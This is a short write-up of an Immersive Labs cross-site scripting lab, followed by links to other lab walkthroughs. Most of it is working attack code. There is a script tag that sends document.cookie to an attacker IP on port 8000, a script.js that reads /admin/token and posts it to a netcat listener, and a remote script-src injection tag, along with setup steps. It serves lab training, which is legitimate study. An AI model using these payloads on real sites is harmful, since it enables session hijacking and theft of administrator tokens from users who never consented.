Skip to content
ImmersiveLabs1 min read

IML - Cross-Site Scripting: Ep.6 – Further Exploitation

Cross-Site Scripting Ep.6 – F - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



IML - Cross-Site Scripting: Ep.6 – Further Exploitation#

image1

java
<script>document.location="http://10.102.179.231:8000/?cookie="+document.cookie;</script>

image2

  • <u>Token and username received</u>

image3

  • Create script (script.js)

image4

javascript
var sensitive_data = new XMLHttpRequest();
sensitive_data.open("GET", "/admin/token", true);
sensitive_data.responseType = "text";

sensitive_data.onload = () => {
    if (sensitive_data.status >= 200 && sensitive_data.status < 400) {
        var body = sensitive_data.responseText;
        var send_data = new XMLHttpRequest();
        send_data.open("POST", "http://<IP>:<KALI_NC_PORT>", true);
        send_data.send("page_body=" + body);
    } else {
        // do nothing
    }
};

sensitive_data.send();
  • Change IP and Port

  • Run Python server in same dir as script

image5

  • Set up nc listener on port specified in script

image6

  • Send email with the src tag (kali IP and the Port of the python server)

image7

javascript
<script src="http://<kali IP>:<kali port>/script.js"></script>
  • Sometimes need to reset the machine on this one cus it doesn’t work first time

image8

ImmersiveLabs2 min

IML - Kerberos: Ep.13 – Demonstrate your skills

Kerberos Ep.13 – Demonstrate your skills - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • hashcat
  • john the ripper
  • kerberos
  • mimikatz
  • powershell
ImmersiveLabs1 min

IML - Python Coding Network Challenge Ep. 2&3

Python Coding Network Challenge Ep. 2&3 - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • privilege escalation
  • python
  • rce
  • tryhackme
  • hackthebox